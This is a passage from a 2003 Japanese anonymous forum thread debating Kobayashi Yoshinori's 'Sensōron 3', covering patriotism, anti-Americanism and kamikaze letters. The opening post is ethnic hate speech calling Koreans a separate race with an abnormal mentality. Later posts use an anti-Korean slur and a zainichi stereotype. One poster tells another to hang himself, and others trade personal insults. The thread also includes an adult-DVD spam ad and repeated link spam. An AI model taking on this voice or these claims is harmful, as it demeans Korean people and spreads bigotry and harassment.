まるで「プロ被害者・シンスゴ」のような屁理屈ですね。
共同体として共に生活できるかどうかは、歴史や伝統、文化、言語など
共通の価値観を持っているか、どうかで決まります。
日本人と朝鮮人とでは何の共通項もないどころか、
朝鮮人の異常な精神状態に多くの日本人はウンザリしているのはご存知の通りです。
日本人と朝鮮人は別人種ですよ。

日本人は朝鮮人とは付き合いたくない、と思っている。
だけど朝鮮人は日本人にしがみつく。
より優れた民族にしがみつくのは仕方ありませんが、日本人の迷惑も考えて下さいね。

日韓併合で朝鮮人の数を2倍以上に増やして上げただけでも感謝しなさい。

572 :名無しかましてよかですか?:03/07/31 01:36 ID:L+Y7C7tS
日本が好きだから国のことを考えるというのが理解できん。外国に誇るような国ですか? 生活を守る為ならわかるけど。 こんな国、俺は大嫌いだ。言葉が話せればすぐ出ていく。

573 :名無しかましてよかですか?:03/07/31 01:41 ID:DTIxZfL/
特攻隊員の詩、陳腐な表現だけれど感動したよ。
死について本気で考えさせられた。

574 :名無しかましてよかですか?:03/07/31 01:42 ID:9KpsERz1
>572
じゃ、一生無理じゃんw、 といいたい所だが、俺も今の日本は好きでは
ないんだ。人間が陰湿なの日本人も多いよ。
前のバイト先で仕事を気さくな態度で教えてくれたのは帰国子女の日本人と
中国の留学生だけだった。後の奴等は全部糞だった。


575 :名無しかましてよかですか?:03/07/31 01:44 ID:nZdajuP4
>>572
そんな甘ったれてないで今すぐ出て行けよ。



576 :名無しかましてよかですか?:03/07/31 01:46 ID:nZdajuP4
>>574
つーか、実は自分が糞だったということは無いのか?
その辺の事情に疎い人たちだけが相手にしてくれていたとかな。

577 :名無しかましてよかですか?:03/07/31 01:50 ID:eOeb6HOR
>>576
まぁ、どこの国でも嫌な人間はいるだろうしね。
>>574のバイト先には悪い人ばかりなんだと思われ…
結局運だよね。

578 :名無しかましてよかですか?:03/07/31 01:50 ID:Cj4Gyktd
>>572をみて、昔なんかの漫画で読んだ一挿話を思い出したなあ。
「将来、年老いて病気になって死んだら化けてやるからな」みたいな捨て台詞。
そんなつらいならさっさと外国語を覚えて出て行った方が君の人生にとっていいんじゃない?

ま、572の発言から推測するに、日本はどうかしらんが572の周辺の人間は572のことが大嫌いだろうねw

579 :名無しかましてよかですか?:03/07/31 01:51 ID:9KpsERz1
>>576あんたは他人に言える程の人間か?
俺も悪い部分はあるだろうが理不尽な態度取られたのもたしかだよ。



580 :名無しかましてよかですか?:03/07/31 01:55 ID:Cj4Gyktd
574? まー、どこのバイトでもつかえねー奴は嫌われるのが当然だ。
またつかえねー奴に限って自己弁護やら自己正当化に熱心な奴が多いのは困りものだな。
日本人だから574を嫌ったんじゃなくて、異邦人ゆえに弱者に優しいとも考えられるな(勿論、純粋にいい奴だったのかもしれない)。

574が中国に渡って仕事に就いたら途端にみんなが優しくしてくれるなんてとても思えないね。
職場で無能力者に冷たいのはどこの国でも一緒だからね(寧ろ、中国の労働現場は相当厳しいとも聞くがね)。

581 :名無しかましてよかですか?:03/07/31 01:56 ID:Cj4Gyktd
>>579
ほらね(w

582 :名無しかましてよかですか?:03/07/31 01:57 ID:9KpsERz1
>>577
フォロー傷みみいりまつ...。実はオチがあって、ここのバイトの責任者
バリバリサヨクなんだよね。休憩時間に「日本人てのは....日本て国は...」
とか悪口言い出すの。まさに俺が「出てけよ」と言いたい所だったね。
60前後だからもろ団塊世代じゃないかな。中国大好き人間。
だから留学生やら帰国子女ばかり雇ってんだろね。

583 :名無しかましてよかですか?:03/07/31 01:58 ID:L+Y7C7tS
勤労と納税は果たしているから、甘えてはいない。 愛国心を持てば社会が良くなるって発想。そもそもスタートラインで誤ってるだろ。

584 :名無しかましてよかですか?:03/07/31 02:00 ID:9KpsERz1
580、581
よっく言うね。おまえら絶対ヒッキーだろ?



585 :名無しかましてよかですか?:03/07/31 02:02 ID:Cj4Gyktd
>>584
おまえら、ではない。おまえ、だ。
ついでにもう一つ教えてやると一般に経営者が中国人を沢山雇うのは
イデオロギーではなく安く使えるとか勤務状況がよいといった理由からじゃないかな。

そういうなんでも政治思想に絡めて考える所に、ひきこもりとはいわないまでも
世間知らずの匂いを俺なんかはかいじまうけどなw


586 :アンパンマン:03/07/31 02:04 ID:0JmpWQ6f
ちょっと皆様にお聞きしたいのですが、沖縄戦の時に起こった集団自決に関してなのですがね、
サヨク方面の学者さんは軍による命令だったとか住民を虐殺したなどの残虐行為については実証された事例がないと秦郁彦が諸君で
言ってたけど、本当はどうなのですか?


587 :名無しかましてよかですか?:03/07/31 02:06 ID:9KpsERz1
>585
>ついでにもう一つ教えてやると
ここらへんヒッキー特有の知識だけはいっちょまえな言い回しやねw
理屈コネル前にとりあえず仕事を経験してから言おうぜ。

588 :名無しかましてよかですか?:03/07/31 02:06 ID:KAu/DNWu
>>585
kovaやウヨサヨやってる連中からイデオロギーとったら何も残らないだろ。


589 :名無しかましてよかですか?:03/07/31 02:09 ID:9KpsERz1
まあ学生バイトの俺がヒッキー貶しても五十歩百歩だった....。
アフォらし...。

590 :名無しかましてよかですか?:03/07/31 02:11 ID:Cj4Gyktd
>>587
へーーーーーーーーー、知識を披露するのはヒキコモリの特徴だったのかー。

あの、ちょっと自分が異常なことを言っているという自覚、ありません? こいつはちょっと笑えねえぞ。
大体、知識の交換が行われないならこういう思想について語る掲示板にどれほどの意味があるんだ?
それにいつのまにやら無職と憶測と妄想で決め付けて発言してますな。
もうこれだけで君の人から嫌われる要素がダダ漏れしているわけだが…

まさか君、リアルでもこうなの?

591 :名無しかましてよかですか?:03/07/31 02:11 ID:FzlZ2KOC
ロッテリアは中国系たくさん雇ってたYO!!
そん週1回は「ん?在日?」みたいなカンジのパンチパーマの人が
ポテトが塩辛いとかクレームつけに来てたYO!

592 :名無しかましてよかですか?:03/07/31 02:12 ID:Cj4Gyktd
>>591
都心の吉野屋なんかでもよく見ますな。

593 :名無しかましてよかですか?:03/07/31 02:13 ID:5meGFENS
なんか590の方が仕事で一緒になりたくないタイプだな・・・。

594 : 名無しかましてよかですか? :03/07/31 02:13 ID:c61X1Svw
数日前の新聞を今、読んでて広告を発見し
慌てて注文しますた。

ネット時代の恩恵というのかな。
漏れは出版されたことを知ると同時に注文できて、
著者も読者の感想を直に知ることができる・・・
便利な時代だね。

明後日くらいには手元に届くだろうから、楽しみにしてまつ。

595 :名無しかましてよかですか?:03/07/31 02:16 ID:CS0c0OqE
今回のターゲットはあくまでアメリカとポチ保守なのに、
なんでサヨの方はそこまで突っかかってくるのれすか?
アメリカ嫌いじゃないんですか?

596 :名無しかましてよかですか?:03/07/31 02:17 ID:wc7tjAmz
個が新興宗教や変な運動に簡単に埋もれてしまうのは愛国心がなくなったからじゃないだろ?国の為に生きる?バカ言うんでねぇ。義務は果たすが、そんなん絶対に嫌だね。お前ら一生やってろ

597 :名無しかましてよかですか?:03/07/31 02:18 ID:mMkV9xCU
特攻隊の遺書が一番心に響くね。
小林さんもそうなのだろう。
だから彼らの意思を伝えたいために戦争論を3回も書いたんだと思うがどうだろう?

598 :_:03/07/31 02:23 ID:luCfVb6Y
http://homepage.mac.com/hiroyuki44/2ch.html

599 :嫌韓勇士 ◆quM58wnvXA :03/07/31 02:25 ID:riR1mNni
>>597
http://homepage1.nifty.com/SENSHI/book/objection/6kamikaze_rei.htm

600 :名無しかましてよかですか?:03/07/31 02:37 ID:wc7tjAmz
何のために生きるかなんて自分で決めろ。小林に釣られんな。愛国心なんて復活しても絶対に社会は良くならない。むしろ事態はいっそう酷くなるんじゃないか。

601 :名無しかましてよかですか?:03/07/31 02:39 ID:+7W5Yn9X
>なんでサヨの方はそこまで突っかかってくるのれすか?

うーん、やっぱ覆水盆に返らずってこったろ(w
自業自得というものだな。


602 :名無しかましてよかですか?:03/07/31 02:55 ID:MjEdxLmK
>>597

今の日本人にはあれだけの「意志」を持つことが不可能と知っているから
あえて描いたというのは正解だろう。
>>600みたいなヤツは、自分の子供にナイフで殺されるかもしれない可能性を理解してない
大半のええかっこしいでマッチョぶる偽日本人の典型だろうな。

確たる人生観も無いくせに、まあだからこそ他者に自分で決めろとか言えるのだろうなw

603 :名無しかましてよかですか?:03/07/31 03:01 ID:21IFnB4+
>>602
>みたいなヤツは、自分の子供にナイフで殺されるかもしれない可能性を理解してない
>大半のええかっこしいでマッチョぶる偽日本人の典型だろうな

「痛いところつかれて、悔しいんで、とりあえず腐してみました。」
というレスにしかみえんな(w



604 :嫌韓勇士 ◆quM58wnvXA :03/07/31 03:01 ID:riR1mNni
>>今の日本人にはあれだけの「意志」を持つことが不可能と知っているから
今すぐ首を釣れ。
阪神大震災や雲仙の噴火で無くなった消防士、救急隊員はなんなんだ?
不審船と戦った海上保安庁の人は?
偽善者が 。
( ゚д゚)、ペッ


605 :名無しかましてよかですか?:03/07/31 03:06 ID:enONltag
>>602
>600みたいなヤツは、自分の子供にナイフで殺されるかもしれない可能性を理解してない
大半のええかっこしいでマッチョぶる偽日本人の典型だろうな。

おまいは自分の子供がナイフで殺されないように
四六時中見張ってなければならないような社会を望んでるということか?

>確たる人生観も無いくせに、まあだからこそ他者に自分で決めろとか言えるのだろうなw

おまいは小林様にきめてもらってるってかw


606 :嫌韓勇士 ◆quM58wnvXA :03/07/31 03:07 ID:riR1mNni
死を覚悟して仕事をする人は今でも沢山いる。
お前はわからんだろうがな。
何が「今の日本人では無理だ」だ。
高みから全てを解った様な口調でしゃべるのはいい加減にしろ。
虫唾がする。ゴミが。
( ゚д゚)、ペッ


607 :_:03/07/31 03:13 ID:luCfVb6Y
http://homepage.mac.com/hiroyuki44/

608 :名無しかましてよかですか?:03/07/31 03:26 ID:enONltag
>>604 >>606
>阪神大震災や雲仙の噴火で無くなった消防士、救急隊員はなんなんだ?
不審船と戦った海上保安庁の人は?

なあ犬よ。おまいがそう思うなら、韓国にも消防士、救急隊員がいるだろう。
彼等もまた死を覚悟して仕事をする人たちだ。
そんな人たちまで韓国人だということでまだ差別をするのか?
市井の人々を救うために 死を覚悟するということに国家による違いがあるか?
たとえ少数でもそんな人たちがいると考えたらもう無意味な差別はできないんじゃないのか?
おまいはもう分かってるんじゃないのか?


609 :名無しかましてよかですか?:03/07/31 03:32 ID:bUmQu4MM
あ、話題をすりかえやがった

610 :名無しかましてよかですか?:03/07/31 03:37 ID:bNcXmZUM
「朝鮮論」はまだ?

今の小林なら安重根を「親日ポチ」とは違う真の男と描きそうだね。
まぁそれもいいかも。

611 :名無しかましてよかですか?:03/07/31 03:38 ID:4on02U8V
でも、釣り師って羨ましいよ。 創価板行っても、大作シンパは強力だもんな。バカども騙して、騙した相手から金と尊敬集めて。一流の詐欺師だとは思う。アサハラ見て、自分もやりたくなっちゃたんだろうなぁ。

612 :_:03/07/31 03:46 ID:luCfVb6Y
http://homepage.mac.com/hiroyuki44/

613 :名無しかましてよかですか?:03/07/31 04:02 ID:tgjX+d4p
今読み終った。
今回も、内容が濃かった。

614 :_:03/07/31 04:14 ID:3a1Lr8Fq
http://homepage.mac.com/hiroyuki44/

615 :名無しかましてよかですか?:03/07/31 04:25 ID:QS6robkL
このスレにアクセスしてノートンがボンボン言ってうるさいのは漏れだけ?

616 :大和撫子:03/07/31 05:15 ID:JuyQdhB4
戦争論3読みました。
1、2に引き続き、良い出来だと思いますが。
少なくとも、「戦後アメ&日教組の馬鹿共に洗脳教育されて育ってしまった為、
アメやシナや朝鮮からの激しく失礼な内政干渉にさえ不感症になってしまった
私を含む多くの日本人」の目を覚ましてくれる良書と言えるでしょう。
また、アングロサクソンの描写について、偏り過ぎとの声もありますが、
実際はよしりんが指摘している通り。
日本人(有色人種、いや、非アングロサクソン)は、アングロサクソンから
実際どのように思われているのか(根本的な差別)もっと認識すべき。
ついでに、

コヴァンゲリオン→最高。貴方の意見にほぼ100%同意です。
         美しく賢く格好良い日本男児という感じ。
         貴方はイイ男に違いない!!
嫌韓勇士→・・・ウザイです。クサイです。サヨウナラ。

私は右翼ではありませんが、サヨクに一歩でも属するくらいなら、
オマエは右翼だな〜!!と呼ばれる方がよっぽどマシ。
ごきげんよう。



617 :名無しかましてよかですか?:03/07/31 07:48 ID:zWD24I/P
戦争論3.全体の論旨はわかるし、アメリカ大嫌いなので
うなづける所も多いのだが、

どうにも疑問を感じるのは
小林氏が、「第一次大戦は、西洋帝国主義諸国の暴走の果ての
利害の激突、奪い合いがもたらした災厄」と定義するなら、
(それ自体は同意)
第二次大戦も、本質は、遅れてきた帝国主義国家と呼ばれる枢軸国と
そのほか欧米帝国主義諸国との利害の激突だろう。
いくら欧米流簒奪を行わなかったとはいえ、日本がアジア全域を
「共栄圏」という名前の植民地(この言葉がイヤなら属国でもいいけど)
にしようとしたことは事実だし。
(大体、戦争論をいくら読んでも、これじゃあ当時の日本が中国と戦争を
していた理由がわからんだろ。蒋介石が欧米の手先だったから???
中国を制圧しておかないと、日本の「自衛」ができないから???)

ちなみに個人的には別にそれが悪いこととは思わん。当時はそういう
帝国主義の時代だったわけだし、そうやって他国と覇を競わなければ
繁栄はなかったわけだしね。

ただ、白人文明悪魔論を展開するばかりに、第一大戦は悪魔の共食いの
ように描いて、第二次大戦は悪魔のアメリカVS抵抗者・日本みたいな
図式にされるとどうもなぁ。





618 :名無しかましてよかですか?:03/07/31 07:58 ID:6GXdshYJ
まあ、よしのり読んで感動しただとか、何だとかいってる奴は、左翼の平和についての
本を読んでプラカード行進やる奴と大差ないな。
対象が違うだけで、大きな理想や指導者についていくだけ、一般的な大衆です。
他人の著書はあくまで参考。もう少し見下すような目で読むべきだろう。
もうすこし、自分の頭で考えて自分の意見をいったらどうだ?

619 :名無しかましてよかですか?:03/07/31 08:08 ID:cgNoXFLS
戦争論3読んできた

小林の本心はもう現代日本にかける言葉がないんじゃねーの?
いいよもう金の為以外に漫画を描く動機がわかんねーよ氏ね

620 :名無しかましてよかですか?:03/07/31 08:08 ID:eg8i3wwy
>>618
斜に構えてるばかりではそれもまた偏向しますからね。
2chがいい例でしょう?後、自分の頭でとおっしゃいますが、
あなたが自覚している「あなたなりの考え」も、誰かからの
パクリである事に気付きましょうね。

621 :_:03/07/31 08:12 ID:3a1Lr8Fq
http://homepage.mac.com/hiroyuki44/

622 :名無しかましてよかですか?:03/07/31 08:39 ID:EIhp82Ne
470 :名無しかましてよかですか? :03/07/30 18:33 ID:V5gAQuUe
>>425
>「理念」を実現するための手段が「政策」である。
>それゆえ、「理念」とは、言うなれば「政策」を行うに当たっての動機であり、
>「理念」を語るということは、「政策」への第一歩を示すことに他ならないのである。

いみじくも書かれているように「理念」とは「政策」への「第一歩」に過ぎないのでは。
現実的な「政策」を構築するためには、やはり「現実」をも考えなくてはならないでしょう。

「理念」と「現実」とを何度も見比べながら政策は形作られていく訳で、「現実」の重みとも真摯に向き合う必要があるでしょう。
両者のバランスをいかに取るか、ということこそが肝要だと思われます。
どちからに極端に偏った場合、現実的に受け入れられることはまずありません。

現実の政策形成に携わっている人々が最も苦労しているのは「落し所」を見つける事です。
両者にバランス良く目配りした主張でなければ、現実的に受け入れられる可能性は非常に低くなります。
もちろん、小林氏は官僚でも政治家でもないわけで、具体策を示す責任はないと思います。

戦争論1〜3には現実的な提言は殆ど見受けられないので(少なくとも私は見出す事ができませんでした)、
このシリーズの目的・意義は「理念を語る」という点に尽きていると私は考えます。
もし、小林氏が現実的な提言をしようとしたなら、例えば軍事的問題に触れる必要があったでしょう。

戦争論は「理念」を語る書物に過ぎない(←批判ではないです)のです。
したがって、(もしここまで述べたことが正しいなら)小林氏に
「現実は違うぞ!具体策を出せ!」というのは無いものねだりに過ぎません。

(結論)戦争論シリーズは「理念を語る書」であって、実際の政策形成に与える直接的影響は殆ど無いと思われる。


623 :名無しかましてよかですか?:03/07/31 10:10 ID:mSfISUQu
>>530, >>553

「戦争論3」で述べられている、小林氏の朝鮮のスタンスは以下のとおりです。

第13章P193

中国や朝鮮に対しては激しく批判するのに、アメリカに対しては無条件に支持をする親米保守の態度・・・
それは単なる弱い者いじめであり、常に強い者にくっつく「事大主義」である。
ポチ以外の何ものでもない!

ゴーマンかましてよかに決まってますね!

白人の加害者のスケールは有色人種を「動物」の範疇に入れる割り切りの冷酷さに由来している。
「加害力」が違うのだ。
「加害力」が!


小林氏の認識は以下の通り。

 アメリカ >>>>>>>>>>>>>>>>>>>>>日本>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>中国、朝鮮

中国、朝鮮なんか相手にせずに無視すればよい、問題はアメリカだ!というところか。


小林批判者の認識は、以下の通りか?

 アメリカ >>>>>>>>>>>>>>>>>>>>>中国、朝鮮>>>>>>>>>>>>>>>>>>>>>>>>>日本

日本は中国、朝鮮にさえもいいようにされている、まずは中国、朝鮮が先だ!



624 :名無しかましてよかですか?:03/07/31 10:28 ID:OJ8AMj8b
>>616
>コヴァンゲリオン→最高。貴方の意見にほぼ100%同意です。
>         美しく賢く格好良い日本男児という感じ。
>         貴方はイイ男に違いない!!

朝から爆笑してしまった。
昔、バカサヨどもがこんな歯の浮くような賛辞をお互いで掛け合っていたよ(w

625 :嫌韓勇士 ◆quM58wnvXA :03/07/31 10:47 ID:riR1mNni
>>608
反日レイパーなら区別する。
親日なら良い。

626 :嫌韓勇士 ◆quM58wnvXA :03/07/31 10:48 ID:riR1mNni
>>「戦後アメ&日教組の馬鹿共に洗脳教育されて育ってしまった為、
>>アメやシナや朝鮮からの激しく失礼な内政干渉にさえ不感症になってしまった
>>私を含む多くの日本人」
戦争論3はどれ位売れてるんだろうねえ(ニタニタ
>>実際はよしりんが指摘している通り。
その論拠は?
>>嫌韓勇士→・・・ウザイです。クサイです。サヨウナラ。
何故そうなのか論理的に説明しろ。

627 :名無しかましてよかですか?:03/07/31 11:07 ID:dd+jQD/C
半チョソに論理的な説明など必要ないと思われ

628 :名無しかましてよかですか?:03/07/31 11:25 ID:PlCNl/Ue
>>617
>大体、戦争論をいくら読んでも、これじゃあ当時の日本が中国と戦争を
>していた理由がわからんだろ。蒋介石が欧米の手先だったから???
>中国を制圧しておかないと、日本の「自衛」ができないから???

俺もそこら辺のコヴァヤシさんの主張にはムリがありすぎると思う
それと国家と国民を混同しすぎるのはマズイかと。
ろくでもねー国だって、そこに住んでるのが悪魔の集団なわけじゃないんだし・・・

いや白人はすべて悪魔なんだ、って主張されたらもう「ああ、そうですか・・・」としか
言う気しないけどね・・・


629 :名無しかましてよかですか?:03/07/31 11:40 ID:dx+faQz9
どうしても気になる点。沖縄の平和祈念館(うろ覚え)に
在日米軍兵士がいたというくだり。

あんなん、小林の想像じゃねーか。
「きっとそう思ったに違いない」って。表情だけで。
もんすごい黒い表情で書いてるだけじゃん。

630 :名無しかましてよかですか?:03/07/31 11:51 ID:q2EfTx6t
この本はプロパガンダだよ。
歴史を誇張歪曲して、反米に持っていこうとしている。
サヨが反日のために使ってきた手を、そのまま反米に使っただけ。
こんなことやっちゃいかんよ。最悪です。
かれは、慰安婦でも南京でも事実を下に流れに棹さしたんだから(慣用句ね)。

631 :名無しかましてよかですか?:03/07/31 12:03 ID:mSfISUQu
>>630
>この本はプロパガンダだよ。
>歴史を誇張歪曲して、反米に持っていこうとしている。
>サヨが反日のために使ってきた手を、そのまま反米に使っただけ。
>こんなことやっちゃいかんよ。最悪です。
>かれは、慰安婦でも南京でも事実を下に流れに棹さしたんだから(慣用句ね)。

慣用句と描かれているので確認ですが、小林氏が慰安婦や南京について書い
たのは、世間の風潮に反対してですよね。
言葉が違う気がするのですが。

それとも慰安婦、南京の否定論の勢いを増すようにしたという意味ですか?
そうともとれますが、分りにくいです。

632 :名無しかましてよかですか?:03/07/31 12:40 ID:jVBxfsYj
1 名前: じょりんφ ★ 投稿日: 03/07/31 12:08 ID:???
2ちゃんねるでも大人気の漫画家が新しい書籍コミック
を発売、注目が集まっている。
小林よしのりに影響された「コヴァ」と呼ばれる人たちが、
2ちゃんねるの各板で迷惑がられている中、新しく発売
された「戦争論3」によってさらに嵐をよびそうだ。

トーハンランキング調べ
http://books.yahoo.co.jp/tohan ranking/
初登場にもかかわらず、60万部突破の「トリビアの泉」にも敗北
小林よしのりの本は初登場時が最高ランキングで、それ以降急激
にランキングを落としていることを考えると、厳しいとの声
http://news2.2ch.net/test/read.cgi/newsplus/1059620899/l50

633 :名無しかましてよかですか?:03/07/31 13:03 ID:hk/68Qvt
>>181
プロパガンダと思うあなたは日本人ではないでしょう。

634 :名無しかましてよかですか?:03/07/31 13:13 ID:DN+4Iq1g
思想と現実は違います。ただ、言論人が思想に傾倒しすぎて、現実に対応できない場合、言った責任はどうなるのかと。
多分誤魔化して終わりです。小林先生のおっしゃってる事は、思想的な部分と現実の部分が巧妙に織り交ざって凄く上手いレトリックだとは思います。
今回の戦争論3も読みました(買うとき禿しくハズイ) 私も反米の気概は持ち続けており、いつか仕返しするべきだとは思っております。
(中、半島は糞) ただ、現実にはいわば、スネオとジャイアンの関係みたいなもんです。スネオがジャイアンに勝つ為には、
ジャイアン以上のツワモノと手を組むか?スネオがジャイアン以上にパワーアップするか?のいずれかです。
単純な対米追従が良くないのはアフォでも分かってます。したたかなタクティスが無いのが気に入らないのも分かります?
あと本書の中に「自分で考えろ」とありますが、批判ばかりで対案出さない何処かの党かと思ってしまいました。
先の大戦で確かにエリートが死にすぎました。それは先刻承知しています。でも残った中で戦後復興してきた人達に対しての
感謝の気持ちというなはないのでしょうか?いみじくも対米追従を選択せざるをえなかった時代だったはず。
ある意味死ぬのは簡単です。でも残った人達の凄まじい苦労の一面も理解すべきでは?簡単なレッテル貼りはよしましょう。


635 :名無しかましてよかですか?:03/07/31 13:22 ID:XheCLg0M
なんだかんだ言ってもお前らは金づるなんだよ。

636 :名無しかましてよかですか?:03/07/31 13:24 ID:hk/68Qvt
>>185
明治の志士たちがあんたの話を聞いたら、あんた切り殺されるだろうね。

637 :名無しかましてよかですか?:03/07/31 13:26 ID:lcGkxvyU
>でも残った中で戦後復興してきた人達に対しての
>感謝の気持ちというなはないのでしょうか

そうそう!俺がコイツをどうしても好きになれないのはそこなんだよ!!

不本意なものではあったかもしれないけれど、戦後もまた戦前と同じく
歴史であり、そこに生きた人がいたんだよ!!みんな家族を失ったり苦労した人達で、
運良く生き残ったもののある意味では死んだ人達と同じだったはず。

それなのに、なぁ。

638 :名無しかましてよかですか?:03/07/31 13:26 ID:m3zh45Ak
>>636
通報しま(ry

639 :名無しかましてよかですか?:03/07/31 13:38 ID:DN+4Iq1g
>637
戦後生まれの人達の選択なり、価値観を今の価値観で断罪すれようなもの。←小林さんがよくいうやつです。戦前と戦後を入れ替えただけですが。


640 :名無しかましてよかですか?:03/07/31 13:39 ID:hAM3/R7n
米追従隷属ポチ、必死だな(w

641 :名無しかましてよかですか?:03/07/31 13:48 ID:DN+4Iq1g
>640
現実を見ましょう。米とは離れられません。あなた生活できませんよ。
ヒモジイ思いを知らないからでしょうが。あと反米の気概はあると述べましたが、何か?


642 :名無しかましてよかですか?:03/07/31 13:48 ID:6UmMb3uY
>>634
>本書の中に「自分で考えろ」とありますが〜

小林が代替案も無しに何らかを批判したことは私の知る限り無い。
今回のケースも勿論そう。
あなたの読解力が無いのか?と穿った見方をせざるを得ない。

>でも残った中で戦後復興してきた人達に対しての
感謝の気持ちというなはないのでしょうか?

無いわけないでしょうw。愚問とはこういう類の発言を言う。
真面目にコツコツと働いて現在の豊かさを築いてくれた父母達に
感謝してないなんて人間、いるのか?

後、細かいが、×=「タクティス」○=tactics(タクティクス)


643 :名無しかましてよかですか?:03/07/31 13:58 ID:j2Y8WSKF
我々は>>1が何故このようなスレッドを立てたのかという疑問を解決するため、
>>1の故郷である群馬県に向かった。
「まだ日本にこんなところがあったのか」
思わず口に出てしまった言葉を同行した上司に失礼だと咎められた。
小人が住むような小さな家、ツギハギだらけの服を着る農夫たち、そして
彼らは余所者で身なりのいい我々を監視する様に見詰めている。
高度成長だの、神武景気だの、オリンピックだので浮かれていた我々は改めて
農村の現状を噛み締めていた。
ボロ屑のような家に居たのは老いた母親一人
我々を見るなり全てを悟ったのか、涙ながらに「息子が申し訳ありません」と
我々に何度も土下座して詫びた。我々はこの時初めて>>1を許そうと思った。
誰が悪い訳ではない、農村の貧しさが全て悪かったのだ。
我々は>>1の母親から貰った干し柿を手に、
打ちひしがれながら東京へと帰路についた


644 :名無しかましてよかですか?:03/07/31 14:00 ID:DN+4Iq1g
>642
読解力ねぇ(w
理念ばかりで幸せになれるんですか?


645 :名無しかましてよかですか?:03/07/31 14:16 ID:EhJqFEEo
>>642
サピオの連載のほうで「対策は思い付くがココに書いたら妨害されるから
ココに書くわけないだろバカ」みたいなこと言ってたっけそう言えば

646 :名無しかましてよかですか?:03/07/31 14:22 ID:K2tgt8Vl
>>642

そんなに、小林の代替案が聞きたければ「わしズム」読むといいよ。



647 :名無しかましてよかですか?:03/07/31 14:27 ID:bOIHNt6q


 よしりんはもうおぼっちゃまくんみたいなの書かないの?(´・ω・`)




648 :名無しかましてよかですか?:03/07/31 14:32 ID:K2tgt8Vl
>>644

結局、生き残るために理念を捨て見て見ぬフリをした結果が
過去の世界大戦に繋がったんじゃないかな?
今生きているポチが寿命がまっとうできても
そのツケは子供が払わされることになることでもいいのか?






いいんだろうな・・・ ポチは(w


649 :名無しかましてよかですか?:03/07/31 14:37 ID:gOikL+wy
>>648
そういう意味では中国的だよな。即物的と言うか何と言うか・・・

650 :名無しかましてよかですか?:03/07/31 14:43 ID:w+NyeCm8
>>647
描こうとしたけど描けなかったんだよ。
ギャグまんが家としては終わってしまったことを自覚したから今のようになってしまった。
自分のアイデンティティをなくしてしまったから「日本」とか「公」とか
大きなものにすがろうとしている。
根はまじめな人なんだろうけど哀れだな。

651 :名無しかましてよかですか?:03/07/31 14:48 ID:PExHny6k
>>650
おまえは漫画家か?
漫画を描かないものに漫画家の気持ちなぞ
わかってたまるか

652 :名無しかましてよかですか?:03/07/31 14:59 ID:vJnrBtt9
日本が負けたときに、アメリカ以外の国(そのときのソ連とか)に
占領されていたらこんなに平和にならなかったのでは?
と思うと、 単純な反米にはなれないけどなー。 どうでしょう。

653 :名無しかましてよかですか?:03/07/31 15:17 ID:A9dhhr7d
世の中、力や金のあるものが大きい顔をするのは当然なんだよ。
直接反発しても何の結果ももたらしません。
何十年か先を見るべきでしょう。日本何ら逆転も可能。他の国はほとんど無理だけど。
アメの支配だって、そう長くは続かないと見る。

あの程度で、反米を根に持ってたら、黒人やインディアンはどうするのよ。
同じ国民として生きることなんか出来ないでしょ。

654 :名無しかましてよかですか?:03/07/31 15:18 ID:8BXkQqQx
>>652
たしかにアメリカが、自国の都合はいえ、いろいろと支援してくれたから今の日本があるのは確か。
でもだからといってアメリカが日本の親友だとか思うのはこれまでのアメリカを見れば疑わしいし、
祖父達がアメリカに虐殺された事への、韓国やなんかのハン的な感情じゃなく、「マナーとしての反米」は忘れてはいけない
って事じゃないかな? 

655 :名無しかましてよかですか?:03/07/31 15:27 ID:YKYZxLZJ
>>641
価値観と倫理道徳観も追従する必要はこれっぽっちもないだろ。

656 :名無しかましてよかですか?:03/07/31 15:30 ID:9ahLzr/9
これ以上アメリカに逆らわない方が
身のためだよ?
先のイラクでアメリカの強さが証明されただろ。
民主主義を否定し独裁者復活を支援する
反米オタは氏んでね(w

657 :名無しかましてよかですか?:03/07/31 15:32 ID:lO1caWrq
>>654
マナーって言ってるのは、逃げでしょ。
はっきり、イラク戦争反対してるじゃん。
あそこまで書いたら、マナーどころじゃないよ。大体失礼w
反米派の急先鋒と見られてもしかたない。

658 :名無しかましてよかですか?:03/07/31 15:35 ID:0XIZ8en5
アダルトDVDが
 最短でご注文いただいた翌日にお届け!
 http://www.dvd-exp.com 開店セール1枚 500円より


659 :_:03/07/31 15:39 ID:3a1Lr8Fq
http://homepage.mac.com/hiroyuki44/hankaku08.html

660 :名無しかましてよかですか?:03/07/31 15:40 ID:8BXkQqQx
>>656
いやだからアメリカに従属したままでいいのかって話しでしょ。
アメリカに逆らう延長線上に日本の独立があるなら、そうするしかないって事じゃない?
民主主義を否定し独裁者復活て・・戦前のドイツは民主主義よw

>>657
イラク戦争反対は、結果的に反米って形だけど、その本質は国際法に則ってないからでしょ?
戦争を起こそうとする国にその道義を示せって言うのが普通の国じゃないの?

661 :名無しかましてよかですか?:03/07/31 15:40 ID:vJnrBtt9
ちょっと「自分がアメリカ人だったら」を想像してみる。
と、もし自分の家族が日本人に殺されていれば、「なんであんな国 保護する
必要があるんだよ。」と思うだろうし、 日本が経済大国になり対米黒字を
増やしてる時など、「調子にのってんなよ!」 と思うでしょう。

しかし、冷静にみれば、日本のような小国など「アメリカの儲けになる範囲で
利用して、儲けにならなければ国際世論の許す範囲でほっておく」のでしょう。
日本はアジアからの信頼も得ていないので、「自分の国は自分で守ろう」的な
考えは時期早尚だと考えます。

662 :名無しかましてよかですか?:03/07/31 15:42 ID:MTFBkNq+
まぁ、何も考えずに、反米日本サイコーって思ってコヴァになってれば
楽だろうけどなぁ。オウムの信者も楽だったんだろうなぁ。

663 :名無しかましてよかですか?:03/07/31 15:43 ID:8BXkQqQx
>>661
親友のように信頼しうる国などないからこそ自立が求められるんじゃないの?

664 :名無しかましてよかですか?:03/07/31 15:45 ID:8BXkQqQx
>>662
そうだろね。なにも考えず「アメリカサイコー」ってポチってたり、「平和サイコー」ってサヨクってたりしても
オウム信者のように楽だろうね。

665 :名無しかましてよかですか?:03/07/31 15:50 ID:U+VzOAGZ
>>661
「自分の国は自分”だけ”で守ろう」というのが問題なんじゃないのかな。
それが出来るのって米国くらいじゃないか?
米国から自立するのに中朝に媚びたり、ましてや媚びてる事すら認めずアジアの大儀とやらを振りかざしていても
そんなの自立でもなんでもない。

666 :名無しかましてよかですか?:03/07/31 15:50 ID:vJnrBtt9
日本は食糧も資源もないからねえ。親友でなく、商売上のパートナーが
いればいいよ。

